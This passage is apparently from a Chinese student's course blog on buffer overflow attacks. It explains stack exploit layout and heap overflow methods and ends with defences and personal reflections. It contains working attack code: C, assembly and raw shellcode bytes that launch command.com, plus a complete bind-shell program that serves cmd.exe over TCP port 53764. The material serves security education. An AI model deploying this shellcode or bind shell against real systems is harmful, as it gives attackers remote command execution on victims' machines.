        WSACleanup();
        return 1;
}

能夠看到傳入字符串的大小是1024字節,而後咱們先填充了若干字節的NOP做爲着陸區,接下來咱們填入了指向JMP ESP指令的地址,最後將咱們 Shellcode 放到目標地址上,使得send()將攻擊數據經過socket發送給目標函數的服務的時候,將處理函數的 ESP 覆蓋,跳轉到咱們事先定義好的 Shellcode

1.4.2 Windows 平臺 Shellcode 實現技術

爲了使得 Windows 中的 Shellcode 可以調用操做系統功能以完成攻擊目標,並可以在指望注入的不一樣目標程序中正常運行,咱們須要考慮以下問題:

  1. Shellcode必須能夠找到所需的 Windows 32 API 函數,並生成函數調用表
  2. 爲使用 API 函數,shellcode必須找出目標程序已加載的函數地址
  3. Shellcode 需考慮消除空字節,以免在字符串操做函數中被截斷
  4. Shellcode 需確保本身能夠正常退出,並使原來的目標程序進程繼續運行或終止
  5. 在目標系統環境存在異常處理和安全防禦機制時,Shellcode 需進一步考慮如何對抗這些機制。
  • Windows 本地 Shellcode:在Windows平臺上,典型的本地Shellcode一樣也是啓動一個命令行Shell,即command.comcmd.exe,Windows 32的系統 API 中提供了system()函數調用,能夠用於啓動指定程序或運行特定命令,在調用system(command.com)以後便可啓動命令行程序。
    下面這段代碼是 C 語言版 Windows 本地 Shellcode 程序。即便用LoadLibrary()函數加載msvcrt.dll 動態連接庫,並經過GetProcAddress()函數得到system 函數的加載入口地址,賦值給 ProcAdd 函數指針,而後經過函數指針調用 system() 函數, 啓動命令行 Shell:爲了使得目標程序在攻擊以後正常終止,Shellcode 中還能夠調用exit()函數退出當前進程。
#include <windows.h>
#include <winbase.h>
typedef void (*MYPROC)(LPTSTR);
typedef void (*MYPROC2)(int);
int main()
{
        HINSTANCE LibHandle;
        MYPROC ProcAdd;
        MYPROC2 ProcAdd2;
        char dllbuf[11]  = "msvcrt.dll";
        char sysbuf[7] = "system";
        char cmdbuf[16] = "command.com";
        char sysbuf2[5] = "exit";
        LibHandle = LoadLibrary(dllbuf);
        ProcAdd = (MYPROC)GetProcAddress(
			LibHandle, sysbuf);
        (ProcAdd) (cmdbuf);

        ProcAdd2 = (MYPROC2) GetProcAddress(
			LibHandle, sysbuf2);
		(ProcAdd2)(0);
}

接下來咱們將其翻譯成彙編語言,獲得的結果以下:

push ebp
    mov ebp,esp
    xor eax,eax
    push eax
    mov byte ptr[ebp-0Ch],4Dh
    mov byte ptr[ebp-0Bh],53h
    mov byte ptr[ebp-0Ah],56h
    mov byte ptr[ebp-09h],43h
    mov byte ptr[ebp-08h],52h
    mov byte ptr[ebp-07h],54h
    mov byte ptr[ebp-06h],2Eh
    mov byte ptr[ebp-05h],44h
    mov byte ptr[ebp-04h],4Ch
    mov byte ptr[ebp-03h],4Ch
    mov edx,0x77E5D961   
    push edx
    lea eax,[ebp-0Ch]
    push eax
    call dword ptr[ebp-10h]
    /* system("command.com") */
    mov esp,ebp               
    push ebp              
    mov ebp,esp               
    xor edi,edi                 
    push edi                
    sub esp,08h                 
    mov byte ptr [ebp-0ch],63h  
    mov byte ptr [ebp-0bh],6fh  
    mov byte ptr [ebp-0ah],6dh  
    mov byte ptr [ebp-09h],6Dh  
    mov byte ptr [ebp-08h],61h  
    mov byte ptr [ebp-07h],6eh  
    mov byte ptr [ebp-06h],64h  
    mov byte ptr [ebp-05h],2Eh  
    mov byte ptr [ebp-04h],63h  
    mov byte ptr [ebp-03h],6fh  
    mov byte ptr [ebp-02h],6dh  
    lea eax,[ebp-0ch]           
    push eax                    
    mov eax, 0x77bf8044         
    call eax                    
    /* exit */
    push ebp
    mov ebp,esp
    mov edx,0x77c07adc
    push edx
    xor eax,eax
    push eax
    call dword ptr[ebp-04h]

最後翻譯爲二進制機器碼

char shellcode[] = 

"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8"
"\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA\x61\xD9\xE5\x77\x52"
"\x8D\x45\xF4\x50\xFF\x55\xF0\x8B\xE5\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x08\xC6\x45\xF4\x63\xC6\x45\xF5\x6F\xC6"
"\x45\xF6\x6D\xC6\x45\xF7\x6D\xC6\x45\xF8\x61\xC6\x45\xF9\x6E\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x63"
"\xC6\x45\xFD\x6F\xC6\x45\xFE\x6D\x8D\x45\xF4\x50\xB8\x44\x80\xBF\x77\xFF\xD0\x55\x8B\xEC\xBA\xDC\x7A\xC0\x77"
"\x52\x33\xC0\x50\xFF\x55\xFC";
  • Windows 遠程 Shellcode:
    Windows 遠程 Shellcode 的 C 語言實現示例代碼以下
#include <winsock2.h>
#include <stdio.h>
#pragma comment (lib,"ws2_32")

int main()
{
        WSADATA wsa;
        SOCKET listenFD;
        char Buff[1024];
        int ret;

        WSAStartup(MAKEWORD(2,2),&wsa);

        listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

        struct sockaddr_in server;

        server.sin_family = AF_INET;
        server.sin_port = htons(53764);
        server.sin_addr.s_addr=ADDR_ANY;
        ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
        ret=listen(listenFD,2);
        int iAddrSize = sizeof(server);
        SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
/*
        這段代碼是用來創建一個Tcp Server的,咱們先申請一個socketfd,
        使用53764(隨便,多少都行)做爲這個socket鏈接的端口,bind他,
        而後在這個端口上等待鏈接listen。程序阻塞在accept函數直到有
        client鏈接上來。
*/
        SECURITY_ATTRIBUTES sa;
        sa.nLength=12;sa.lpSecurityDescriptor=0;sa.bInheritHandle=true;
        HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;

        ret=CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0);
        ret=CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0);
/*
        建立兩個匿名管道。hReadPipe只能用來讀管道,hWritePipe1只能用來寫管道。
*/
        STARTUPINFO si;
        ZeroMemory(&si,sizeof(si));
        si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
        si.wShowWindow = SW_HIDE;
        si.hStdInput = hReadPipe2;
        si.hStdOutput = si.hStdError = hWritePipe1;
        char cmdLine[] = "cmd.exe";
        PROCESS_INFORMATION ProcessInformation;

        ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
/*
        這段代碼建立了一個shell(cmd.exe),而且把cmd.exe的標準輸入用第二個管道的讀句柄替換。cmd.exe的標準輸出和標準錯誤輸出用第一個管道的寫句柄替換。
        這兩個管道的邏輯示意圖以下:
        (父進程)    read<---〔管道一〕<---write  標準輸出(cmd.exe子進程)
        (父進程)   write--->〔管道二〕--->read   標準輸入(cmd.exe子進程)
*/

        unsigned long lBytesRead;
        while(1)        {
                ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);
                if(lBytesRead)  {
                        ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
                        if(!ret)        break;
                        ret=send(clientFD,Buff,lBytesRead,0);
                        if(ret<=0)      break;
                }else   {
                        lBytesRead=recv(clientFD,Buff,1024,0);
                        if(lBytesRead<=0)       break;
                        ret=WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0)
;
                        if(!ret)        break;
                }
        }
/*
        這段代碼完成了客戶輸入和shell的交互。PeekNamedPipe用來異步的查詢管道一,看看shell是否有輸出。若是有就readfile讀出來,併發送給客戶。若是沒有,就去接受客戶的輸入。並 writefile 寫入管道傳遞給shell.
        這兩個管道與client和server的配合邏輯圖以下:
        輸入命令(Client)        <-- send(父進程)read<--〔管道一〕<--write 標準輸出(cmd.exe子進程)
        得到結果(Client)        recv-->(父進程)write-->〔管道二〕-->read   標準輸入(cmd.exe子進程)

*/
        return 0;
}

1.5 堆溢出攻擊

堆溢出(Heap Overflow)是緩衝區溢出中第二種類型的攻擊方式,因爲堆中的內存分配與管理機制較棧更爲複雜,不一樣操做系統平臺的實現機制都具備顯著的差別,同時經過堆中的緩衝區溢出控制目標程序執行流程須要更精妙的構造,所以堆溢出攻擊的難度較棧溢出要複雜不少,真正掌握、理解並運用堆溢出攻擊也更爲困難一些。
下面簡要地經過對函數指針改寫、C++類對象虛函數表改寫以及 Linux 下堆管埋漏洞攻擊案例講解,來講明堆溢出攻擊的基本原理

  • 函數指針改寫:這種攻擊方式要求被溢出的緩衝區臨近全局函數指針存儲地址,且在其低地址方向上。若是向緩衝區填充數據的時候,若是沒有邊界控制和判斷的話,緩衝區溢出就會天然的覆蓋函數指針所在的內存區,從而改寫函數指針的指向地址,則程序在使用這個函數指針調用原先的指望函數的時候就會轉而執行 Shellcode

  • C++ 類對象虛函數表改寫:C++類經過虛函數提供了一種 Late bingding 運行時綁定機制,編譯器爲每一個虛函數的類創建起虛函數表、存放虛函數的地址,並在每一個類對象的內存區中放入一個指向虛函數表的指針。對於使用了難函數機制的C++ 類, 若是它的類成員變量中存在可被溢出的緩衝區,那麼就能夠進行堆溢出攻擊,經過覆蓋類對象的慮函數指針,使只指向一個特殊構造的虛函數表, 從而轉向執行攻擊者惡意注入的指令。

  • Linux下堆管理 glibc 庫 free() 函數自己漏洞:Linux操做系統的堆管理是經過 glibc 庫來實現的。其中對於堆管理的算法稱爲 dlmalloc。其經過稱爲 Bin 的雙向循環鏈表來保存內存空閒塊的信息。glibc 庫中的 free 函數在內存回收的過程當中,須要將已經釋放的空閒塊和與之相鄰的空閒塊進行合併。經過精心構造空閒塊,在空閒塊合併的過程當中,將會發生位置覆蓋。

1.6 緩衝區溢出攻擊的防護技術

  • 嘗試杜絕溢出的防護技術:解決緩衝區溢出攻擊最根本的方法是編寫正確的、不存在緩衝區溢出安全漏洞的軟件代碼,但因爲C/C++語言做爲效率優先的語言,很容易就會出現緩衝區溢出;嘗試經過Fuzz等注入測試的方法來尋找程序漏洞,可是這不能找到全部的漏洞;或者經過在編譯器上引入針對緩衝區的邊界檢查保護機制。

  • 容許溢出但不讓程序改變執行流程的防護技術:這種防護技術容許溢出發生,但對可能影響到程序流程的關鍵數據結構實施嚴密的安全保護,不讓程序改變其執行流程,從而阻斷溢出攻擊。

  • 沒法讓攻擊代碼執行的防護技術:這種防護技術嘗試解決馮·諾依曼體系的本質缺陷,經過堆棧不可執行限制來防護緩衝區溢出攻擊。

2. 實踐過程

3. 學習中遇到的問題及解決

  • 問題1:對彙編語言不熟悉
  • 問題1解決方案:經過上網蒐集資料,邊學習邊看

4. 學習感想和體會

首先感謝老師體諒咱們,其次因爲對 linux 系統結構和彙編語言的知識不太熟悉,又去上網蒐集了一些資料學習而且翻了翻本身之前寫過的博客,但仍是感受理解的不夠深刻,仍是要多學習

參考資料

網絡攻防技術與實踐
經常使用的彙編語言指令
不一樣狀況下的高地址與低地址
execl()函數與execlp()函數

相關文章
相關標籤/搜索